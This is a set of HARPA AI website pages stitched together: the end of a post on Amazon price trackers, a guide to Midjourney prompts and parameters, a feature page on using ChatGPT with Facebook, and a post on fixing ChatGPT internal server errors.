. [\#](https://harpa.ai/blog/best-amazon-price-trackers-and-drop-alerts#honey-droplist-and-multi-retailer-price-tracking-extensions) Honey Droplist and Multi-Retailer Price Tracking Extensions ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Honey's Droplist is a consumer favorite **price tracker extension**, free across Chrome, Firefox, Edge, Safari, Opera. It tracks Amazon price history, auto-applies coupons, and sends drop alerts—extending beyond Amazon to Walmart, Best Buy. Key perks: * Visual price graphs with all-time lows. * Free setup; no sign-up for basics. * Multi-retailer scans for broader deals. Reddit calls it essential alongside Capital One Shopping or Karma. Pair with other **price tracking extensions** for savings beyond Amazon. [\#](https://harpa.ai/blog/best-amazon-price-trackers-and-drop-alerts#harpa-ai:-ai-powered-price-monitor-for-amazon-and-any-website) HARPA AI: AI-Powered Price Monitor for Amazon and Any Website --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- **HARPA AI** goes beyond Amazon-only trackers with AI-powered monitoring on any website — Amazon, Walmart, AliExpress, and more. Navigate to any product page, press **Alt+A** (Windows) or **^+A** (Mac) and switch to the **AUTOMATE** tab to start tracking. **How to set up a price monitor:** 1. Open any product page on Amazon or another site. 2. Press **Alt+A** and switch to the **AUTOMATE** tab. 3. HARPA detects trackable items on the page. Click the price you want to monitor. ![](https://harpa.ai/img/guides/monitor-1.webp) 4. Click **START** — HARPA periodically refreshes the page in the background and sends you a browser notification whenever the price drops. ![](https://harpa.ai/img/guides/monitor-2.webp) **Customization**: Fine-tune schedule intervals (from 15 seconds to once a month), triggers (price drop, text appears/disappears, content update), and actions (notification, email, sound, webhook, Make.com integration). Combine triggers and actions to get an email on price drops while pushing data to Google Sheets on every run. **Back in stock alerts**: Click the **ELEMENT** button during setup, then click any text on the page (e.g. "Out of stock"). HARPA monitors for that element to disappear and notifies you the moment the product is available again. ![](https://harpa.ai/img/guides/monitor-5.webp) Unlike Keepa or CamelCamelCamel, HARPA is not limited to Amazon — it works on any website. All processing happens locally in your browser, so your data never leaves your machine. See the [price monitoring guide](https://harpa.ai/guides/monitor-price-drops) and [automation features](https://harpa.ai/guides/automation-features) . [\#](https://harpa.ai/blog/best-amazon-price-trackers-and-drop-alerts#amazon-price-trackers-for-e-commerce-sellers-and-competitor-monitoring) Amazon Price Trackers for E-commerce Sellers and Competitor Monitoring --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- E-commerce sellers need robust tools for competitor intel. Keepa covers EU marketplaces (DE/UK/FR/IT/ES), CamelCamelCamel handles daily **product availability** and trends. SmartScout and Helium 10 add Buy Box/sales data for advanced sellers. HARPA AI fills multi-site gaps — [track competitors](https://harpa.ai/guides/track-competitors) across Amazon, Walmart, and any other website with automated page change detection. Pair with [ChatGPT for E-commerce](https://harpa.ai/blog/chatgpt-for-ecommerce) analysis for pricing trends. [\#](https://harpa.ai/blog/best-amazon-price-trackers-and-drop-alerts#back-in-stock-alerts-and-advanced-features-across-trackers) Back-in-Stock Alerts and Advanced Features Across Trackers --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- **Back in stock alerts** are crucial for hot items. Keepa and CamelCamelCamel offer free email/push notifications. HARPA AI handles back-in-stock monitoring on any website — click the **ELEMENT** button, select the "Out of stock" text, and get notified when it disappears. Advanced perks across trackers: * Hourly updates (Keepa). * Inventory/Buy Box data (premium Keepa/Helium 10). * Any-site monitoring with custom triggers (HARPA AI). ![](https://harpa.ai/img/blog/best-amazon-price-trackers-3.webp) [\#](https://harpa.ai/blog/best-amazon-price-trackers-and-drop-alerts#how-to-choose-the-best-amazon-price-tracker-extension) How to Choose the Best Amazon Price Tracker Extension ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Pick based on needs: * **Shoppers**: CamelCamelCamel (free, simple) or Honey (multi-retailer). * **Sellers**: Keepa for depth and scale across marketplaces. * **Multi-site/AI**: HARPA AI for monitoring beyond Amazon — any website, custom triggers, webhook integration. [Get started free](https://get.harpa.ai/) . * **Firefox**: Keepa reliable per Reddit; Safari/Opera: Camelizer/Honey. Start free, upgrade for scale. Test extensions today — install and track your first product for smarter shopping and selling. [\#](https://harpa.ai/blog/best-amazon-price-trackers-and-drop-alerts#further-reading) Further Reading ------------------------------------------------------------------------------------------------------- * [Price Monitor Guide](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Automation Features](https://harpa.ai/guides/automation-features) * [ChatGPT for E-commerce](https://harpa.ai/blog/chatgpt-for-ecommerce) * [Best Free Price Monitoring Tools](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce) * [Best Price Tracker Browser Extensions](https://harpa.ai/blog/best-price-tracker-browser-extensions) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Crafting Exceptional Prompts for Midjourney [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/images/image-03.svg) Crafting Exceptional Prompts for Midjourney =========================================== OUTLINE NAVIGATE [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#what-is-midjourney?) What is Midjourney? ------------------------------------------------------------------------------------------------------ Midjourney acts like a digital artist, available at your fingertips. Once you engage with their Discord bot, all it takes is a text prompt to unlock the AI's enormous creative potential. [Read more about Generative AI here](https://www.nature.com/articles/d41586-018-06620-6) . At its core, Midjourney uses linguistic inputs, commonly known as prompts, to generate graphical representations. For instance, a beginner could simply type "_a beach at sunset_", and Midjourney would fragment this into "beach" and "sunset," synthesizing an image accordingly. However, for those with more advanced knowledge, prompts can be intricate. Take, for example, "_a Venetian canal with reflections of the setting sun on the water._" Here, the algorithm will dissect your prompt into more complex constituents like "Venetian canal," "reflections," "setting sun," and "water," and generate a far more nuanced visual. To initiate the generation process, use the **/imagine** command as a prefix to your prompt. Developed by the San Francisco-based research lab, Midjourney, Inc., this tool leverages advanced Natural Language Processing (NLP) technologies, reminiscent of OpenAI's DALL-E and Stable Diffusion algorithms. Midjourney is a transformative generative AI engine, designed to transmute your linguistic expressions into awe-inspiring visuals. ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#the-mechanics-of-midjourney) The Mechanics of Midjourney The AI uses a vast data repository to interpret your prompts, ensuring that the output resonates with your vision. For an extensive overview of parameter fine-tuning, visit [Midjourney web wiki](https://docs.midjourney.com/docs/prompts) . ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#a-spectrum-of-prompts) A Spectrum of Prompts Prompts can range from simple to complex based on your imagination and desired outcome. Here are some examples: * **Metaphorical Constructs**: To invoke a thematic effect like surrealism, use "_/imagine Dali-esque melting clocks_" * **Composite Entities**: If you want to merge two different elements, a prompt like "_/imagine an elephant with butterfly wings_" would suffice. * **Chromatic Nuances**: For more color-focused images, use terms like "_/imagine monochrome blue jazz clu_" [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#basic-midjourney-prompts) Basic Midjourney prompts ---------------------------------------------------------------------------------------------------------------- Begin with straightforward words, phrases, or even emojis. The simpler the better; excessive complexity could dilute the bot's focus\*\*.\*\* ![](https://harpa.ai/img/blog/blog7-1.webp) ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#tips-for-writing-prompts-on-midjourney) Tips for Writing Prompts on Midjourney * **Be Specific** * The more specific you are in your prompt, the more likely Midjourney is to generate an image that matches your vision. * For example, instead of writing "a cat," you could write "a photorealistic portrait of a tabby cat with green eyes." * **Use Keywords** * When you are writing your prompt, be sure to use keywords that will help Midjourney understand what you are looking for. * For example, if you want Midjourney to generate an image of a cat, you could use keywords like "cat," "feline," "whiskers," and "paws." * **Use Adjectives and Adverbs** * Adjectives and adverbs can help you to add detail and specificity to your prompt. * For example, you could write "a photorealistic portrait of a tabby cat with green eyes, sitting on a windowsill in the sunlight." * **Use Examples** * If you can, use examples to help Midjourney understand what you are looking for. * For example, you could write "a photorealistic portrait of a tabby cat that looks like this \[URL link to an image of a tabby cat\]." * **Experiment** * Don't be afraid to experiment with different prompts. See what works and what doesn't. * The more you experiment, the better you will get at writing effective prompts. * **Use Relevant Style Keywords** * If you want Midjourney to generate an image in a specific style, be sure to use keywords that are relevant to that style. * For example, if you want Midjourney to generate an image in the style of Vincent van Gogh, you could use keywords like "van gogh" and "impressionism." ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#how-to-make-midjourney-more-realistic) How to Make Midjourney More Realistic * **Use Realism Keywords** * When you are writing your prompt, be sure to use keywords that are relevant to realism. * For example, you could use keywords like "photorealistic," "detailed," and "lifelike." * **Describe Desired Realism Level** * Use adjectives and adverbs to describe the desired level of realism. * For example, you could write "a photorealistic portrait of a tabby cat with green eyes, rendered in a hyper-realistic style." * **Experiment with Settings** * Midjourney has a variety of settings that can affect the realism of the images it generates. * Experiment with different settings to see what works best for you. [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#advanced-midjourney-prompts) Advanced Midjourney prompts ---------------------------------------------------------------------------------------------------------------------- For a more nuanced result, advanced prompts can incorporate image URLs, multiple text phrases, and parameters. To impact the visual style and content, place image URLs at the beginning of the prompt. ![](https://harpa.ai/img/blog/blog7-2.webp) ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#effective-prompting-tips) Effective Prompting Tips * **Brevity vs. Detail:** While a word or emoji can generate an image, leveraging the bot’s default style, descriptive prompts yield more unique results. However, avoid convoluted sentences; focus on the core ideas. * **The Power of Word Choice:** Opt for specific synonyms to enhance the influence of each word. For instance, use 'gigantic' instead of 'big'. Eliminate superfluous words where possible. * **Punctuation and Syntax:** Although the Midjourney Bot does not interpret grammar as humans do, utilizing commas, brackets, and hyphens can help organize your thoughts better. [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#image-parameters) Image Parameters ------------------------------------------------------------------------------------------------ Parameters can modify various elements like aspect ratios, models, and upscalers. These should be placed at the end of the prompt for optimal results. Discover more about Parameters. ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#tl;dr) TL;DR Fine-tuning can be achieved through specific parameters: ![](https://harpa.ai/img/blog/blog7-3.webp) 1. **Stylistic Preferences**: Inject styles by adding keywords like "**impressionistic**," "**Baroque**," or "**noir**." 2. **Degree of Stylization**: Use the **\-s** flag followed by a number to control stylization, e.g., **\-s 2000** for high stylization. 3. **Level of Abstraction**: The **\-chaos** flag followed by a number (0-100) can help control the level of abstraction, e.g., **\-chaos 70**. 4. **Resolution & Aspect Ratio**: Use **hd** or **quality** followed by a number for resolution and **\-ar** for aspect ratio, e.g., **\-ar 16:9**. 5. **Exclusion Criteria**: Utilize **\-no** followed by the object you want to exclude, e.g., **\-no clouds**. 6. **Camera and Lens Specifications**: Sony Alpha 7, ISO1980, Leica M * **For distant shots**: "Wide-Angle Shot", "Ultra-Wide Angle", "Far-Shot", "Aerial View" or "Satellite View" * **For medium shots**: "Medium-Shot", "Top-Down Shot", "Ground-Shot", "Ground-Shot", "Low-Angle Shot", "High-Angle Shot", "Full-Shot", "Full-Body Shot" or "Full-Length Shot" * **For shots very close to the subject**: "Eye-Level Shot", "Close-Up", "Glamour Shot", "Glamour Portrait", "Macro-Shot" or "Macrophotography" * Read more about [lighting and environment](https://www.abyssale.com/creative-automation/how-to-write-a-good-prompt-for-midjourney) . 7. **Lighting Conditions**: To dictate the mood or atmosphere, you can specify terms like "cinematic light" or "volumetric light." [10 Midjourney Prompt Examples](https://printify.com/blog/midjourney-prompts/) [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#advanced-parameters) Advanced parameters ------------------------------------------------------------------------------------------------------ Navigating the selection of choices available in Midjourney Bot can be an ambiguous task. However a comprehension of these elements can give you matchless jurisdiction over your imagery propagation tasks. In this composition we explore in detail the parameters you can use to boost the distinction, haste, and individuality of your imagery propagations. ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#aspect-ratios) Aspect Ratios Aspect correlation plays an important role in how your formed picture painting will gaze. By operating the **\-aspect** or **\-ar** directive, you can control the aspect correlation of the painting to suit your explicit essentials. **Syntax**: --aspect or --ar ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#level-of-abstraction) Level of Abstraction Use this if you want to introduce a plane of randomness or variance to your picture paintings. The **\-chaos** flag followed by a number (0-100) can help control the level of abstraction, e.g., **\-chaos 70**. **Syntax**: --chaos ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#speed-up-operations) Speed Up Operations This command allows you to override your current settings and execute a single job at a higher speed using Fast Mode. **Syntax**: --fast ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#balancing-image-and-text-weight) Balancing Image and Text Weight The **\--iw** command allows you to balance the weight of the image prompt relative to the text weight. This is particularly useful when you want to influence the output more heavily with either the image or the text. **Syntax**: --iw <0–2> ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#using-denial-prompts) Using Denial Prompts The **\-no** admonition allows you to eliminate convinced particulars from your formed picture painting. For instance, **\-no plants** would strive to remove plants from the painting. **Syntax**: --no ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#quality-control) Quality Control Distinction is a grave influence in imagery propagation. The **\-quality** directive allows you to adapt how much rendering age you seek to bestow. **Syntax**: --quality <.25, .5, or 1> or --q <.25, .5, or 1> ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#switch-to-relax-mode) Switch to Relax Mode The **\--relax** command is designed to override your current setting and run a single job using Relax Mode, giving you a less rushed and more detailed output. **Syntax**: --relax ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#efficient-repetitions) Efficient Repetitions This parameter allows you to create multiple jobs from a single prompt, making it easier to rerun a job multiple times. **Syntax**: --repeat <1–40> or --r <1–40> ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#controlling-image-grids) Controlling Image Grids The **\--seed** command allows you to influence the initial randomness of the image grids generated by the bot. **Syntax**: --seed ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#partial-job-completion) Partial Job Completion The **\--stop** command allows you to terminate a job partway through the process, which could result in blurrier, less detailed images. **Syntax**: --stop ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#impacting-aesthetics) Impacting Aesthetics This command allows you to influence the aesthetic style applied to your generated images. **Syntax**: --style or --s ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#seamless-patterns) Seamless Patterns Use the **\--tile** command to generate images that can function as repeating tiles, creating seamless patterns. **Syntax**: --tile ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#turbocharge-your-job) Turbocharge Your Job The **\--Turbo** command allows you to execute a job in Turbo Mode, significantly speeding up the process. **Syntax**: --Turbo ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#experimental-aesthetics) Experimental Aesthetics Dive into the unknown with the **\--Weird** command. This experimental feature allows you to explore unique aesthetics. **Syntax**: --Weird You could find some extra information about Midjourney prompting [here](https://geekflare.com/midjourney-prompts/) or [here](https://levelup.gitconnected.com/the-ultimate-cheat-codes-to-midjourney-prompting-part-1-ed44aca3cab6) [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#/image-command) /image Command -------------------------------------------------------------------------------------------- Nowadays, in the online realm, photos work as compelling instructions, molding a project's full appearance, from its structure to its vibrancy. Wielding these instructions can culminate in a fusion of text and visual signs, ensuing in engaging and enthralling content. Dive into this guidebook to master the subtleties of operating image instructions. ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#integrating-images-into-your-prompt) Integrating Images into your prompt 1. **Individual Photo vs. Dual Photo Assimilation** * A photo instruction is typically stationed at the onset of your assignment. * To gain the finest conclusions, an instruction can be coupled with another photo or text. This fusion is imperative for the apparatus to operate efficiently. 2. **Fundamental Factors for Image URL Entry** * Verify that the link guides directly to the web photo without any redirections. * Adhere to extensively accepted photo formats: **.png**, **.gif**, **.webp**, **.jpg**, and **.jpeg**. * Tip: In numerous browsers, obtaining a photo URL is as easy as right-clicking or long-pressing on the photo and opting for 'Copy Image Address'. 3. **Mobile-Friendly Photo Instruction**: For mobile users, the **/blend** order streamlines the progression, making it user-friendly and productive. ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#uploading-photos-on-discord) Uploading Photos on Discord Here's a step-by-step breakdown: 1. **Generating a Direct Image Link:** Your photo URL should conclude with familiar extensions such as `.png`, `.gif`, `.webp`, `.jpg`, or `.jpeg`. 2. **Interacting with the Midjourney Bot**: * Initiate by pasting your chosen photo into a chat session with the Midjourney Bot. * Simply press Enter to broadcast your photo. 3. **Retrieving the Photo URL**: * For **Desktop Users**: Right-click the photo and choose "Copy Link." * For **Web Users**: Click the photo to expand, then right-click and pick "Copy Image Address." * For **Mobile Users**: A long press on the photo will unveil the "Copy Media Link" choice. * If these approaches are unsuccessful, expanding the photo and opting for "Open in Browser" frequently does the trick, granting you access to the photo URL. 4. **Embedding the Photo URL in Your Assignment**: As you type `/imagine`, a prompt box emerges. You can either haul the photo file there or paste the previously copied link. [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#/describe-command) /describe Command -------------------------------------------------------------------------------------------------- The `/describe` command serves as a robust utility for those who want to explore AI-generated art on a new level. Whether you are into abstract forms or more realistic scenes, this feature offers a plethora of options. ### [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#how-the-/describe-command-operates) How the /describe command operates 1. **Initialize the Command**: Open the Discord chat and type `/describe` followed by the "Enter" key. 2. **Upload Your Image**: now would you simply click on the designated box or simply drag and drop the file. 3. **Analyze and Receive Output**: Midjourney processes the image and provides four distinct text prompts, each describing different aspects of your uploaded image. For instance, if you upload an image featuring a scenic landscape with mountains and lakes, you might receive prompts like the ones below: * Realistic waterfall pouring from cloud-covered mountains, with a vibrant color palette * Surreal landscape featuring spherical sculptures and intricate detailing * A harmonious blend of natural elements with a psychedelic twist, illuminated by a luminous water body These text prompts can be employed to generate a range of unique AI-generated art pieces. [\#](https://harpa.ai/blog/ultimate-midjourney-prompts-guide#conclusion) Conclusion ------------------------------------------------------------------------------------ Midjourney's advanced features provide an unparalleled level of customization and precision for your AI-generated images. By mastering these functionalities, you can create art that is not only unique but also aligns perfectly with your vision. Now, how can you best leverage these advanced features to align with your specific project goals? Feel free to share your thoughts or queries in our [Discord](https://discord.gg/B9Evx82m4K) . [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/outrank-article-with-chatgpt) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/midjourney-templates) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Facebook [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/facebook.svg) ChatGPT for Facebook ==================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-facebook#chatgpt-for-facebook)  ChatGPT for Facebook ------------------------------------------------------------------------------------------ HARPA.AI integrates ChatGPT and can elevate your Facebook game to new heights. Whether you're seeking to craft captivating posts for your page, design enticing ad campaigns, or connect with influencers, HARPA.AI have got you covered. HARPA.AI provides a set of page-aware AI commands for Facebook users, looking to enhance their profile, get hired, or build their professional network: ![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/instagram.svg) Social posts generator Creates social media posts for articles, blog posts or webpage content. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/facebook.svg) Facebook ads generator Generate a custom Facebook ad to boost conversions and revenue of your product or service. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/instagram.svg) Ads hook generator Generate ad hooks / angles for anything you're promoting. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/twitter.svg)![](https://harpa.ai/img/apps/facebook.svg) Social bio section generator Helps you create a catchy bio for any social website, Instagram, Twitter, LinkedIn etc. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/tiktok.svg) Hashtag generator Create up to 30 social media Hashtags. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/twitter.svg) Influencer outreach DM Write cold outreach DMs to help you sign influencer campaigns. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/tiktok.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/twitter.svg) Social media content ideas Generate a list of 10 engaging post ideas that are tailored to the interests of your target audience, increase engagement and drive traffic. [USE COMMAND](https://get.harpa.ai/) ### [##](https://harpa.ai/case/chatgpt-for-facebook#how-to-use-chatgpt-with-facebook)  How to Use ChatGPT with Facebook To use ChatGPT with Facebook, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the Facebook website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/facebook** to HARPA chat to bring a list of ChatGPT prompts for Facebook. ### [##](https://harpa.ai/case/chatgpt-for-facebook#benefits)  Benefits One of the most remarkable features of ChatGPT is its ability to generate a diverse array of content ideas and resources, such as Facebook posts, articles, ad hooks, hashtag lists, and even campaign calendars. Whether you're promoting a product, service, or brand, ChatGPT's ad generator will help you create a personalized ad that will drive conversions and increase revenue. And, with the influencer outreach DM writer, you'll be able to effortlessly compose compelling messages to secure influencer campaigns. With its comprehensive understanding of social media trends, ChatGPT will keep you ahead of the curve and deliver the SMM results you're after. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to Fix ChatGPT Internal Server Error [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) How to Fix ChatGPT Internal Server Error ======================================== OUTLINE NAVIGATE ![icon](https://harpa.ai/icon/lines/general/tool-02.svg) ChatGPT, a revolutionary language model, has transformed the way we interact with AI. It offers users a seamless experience, answering questions with precision and speed. However, like all technology, it's not immune to glitches. One such hiccup users often encounter is the "internal server error." In this article, we'll delve into the nature of this error, its causes, and how to troubleshoot it. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#key-takeaways) Key Takeaways ------------------------------------------------------------------------------------------------- An internal server error indicates an issue on the server side, preventing ChatGPT from fulfilling user requests. This error can arise due to various reasons, including high traffic, server maintenance, rate limits, and more. Several solutions can help address this error, from refreshing the site to checking server status or even trying ChatGPT alternatives. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#what-is-the-chatgpt-internal-server-error?) What is the ChatGPT Internal Server Error? ----------------------------------------------------------------------------------------------------------------------------------------------------------- An internal server error typically signifies a problem on the server side of a website. In simpler terms, something has malfunctioned on the server, preventing it from processing the user's request and delivering a response. When it comes to ChatGPT, this error means the server can't process the user's query. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#why-does-this-error-occur?) Why Does This Error Occur? --------------------------------------------------------------------------------------------------------------------------- There are multiple reasons why users might face an internal server error on ChatGPT: * **High Traffic**: An influx of users can overload the server, making it incapable of handling all incoming requests. * **Server Maintenance**: If the server is undergoing updates or maintenance, it might be temporarily unavailable. * **Rate Limits**: Exceeding the set rate limits for requests on ChatGPT can trigger this error. * **Internet Connectivity**: A weak or unstable internet connection can also be a culprit. * **Browser Cache Issues**: At times, the error might stem from the browser cache storing outdated or corrupted data. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#troubleshooting-the-chatgpt-internal-server-error) Troubleshooting the ChatGPT Internal Server Error ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- If you're faced with this error, don't fret. Here are some potential solutions: ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#1.-check-openai's-server-status) 1\. Check OpenAI's Server Status Before diving into other solutions, ensure OpenAI's servers are operational. Temporary disruptions might occur due to server maintenance or updates. You can verify the server status via OpenAI's official Twitter account or their status page. ![](https://harpa.ai/img/blog/blog15-1.webp) ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#2.-refresh-the-site) 2\. Refresh the Site A simple refresh can sometimes do the trick. Hit the F5 key or use your browser's refresh button. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#3.-verify-your-internet-connection) 3\. Verify Your Internet Connection Ensure you have a stable and robust internet connection. If you suspect connectivity issues, consider restarting your modem or router. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#4.-re-login-to-your-account) 4\. Re-login to Your Account Logging out and then back into your ChatGPT account can sometimes resolve the error. Close your browser, reopen the site, and log in again. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#5.-rate-limits) 5\. Rate Limits If you've been making frequent requests, you might have hit ChatGPT's rate limits. Wait for a bit and then try again. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#6.-clear-browser-cache) 6\. Clear Browser Cache Clearing your browser's cache and cookies can help, especially if they contain outdated or corrupted data. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#7.-return-later) 7\. Return Later If the above solutions don't work, the error might be temporary. Consider revisiting the site after some time. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#8.-explore-chatgpt-alternatives) 8\. Explore ChatGPT Alternatives If the issue persists, you might want to explore alternatives to ChatGPT, such as ChatGPT Sidebar, Google Gemini, or Bing Chat. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#external-resources-for-further-reading) External Resources for Further Reading --------------------------------------------------------------------------------------------------------------------------------------------------- * [ChatGPT Internal Server Error: Causes and Fixes - Neuroflash](https://neuroflash.com/blog/chatgpt-internal-server-error/) * [Chatgpt internal server error discussion on Reddit](https://www.reddit.com/r/OpenAI/comments/117xrjq/chatgpt_internal_server_error/) * [How to Fix ChatGPT Internal Server Error (8 Methods) - Beebom](https://beebom.com/fix-chatgpt-internal-server-error/) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#delving-deeper-into-the-chatgpt-internal-server-error) Delving Deeper into the ChatGPT Internal Server Error --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- In the previous section, we explored the nature of the ChatGPT internal server error, its causes, and potential solutions. Now, let's delve deeper into frequently asked questions and further insights on this topic. 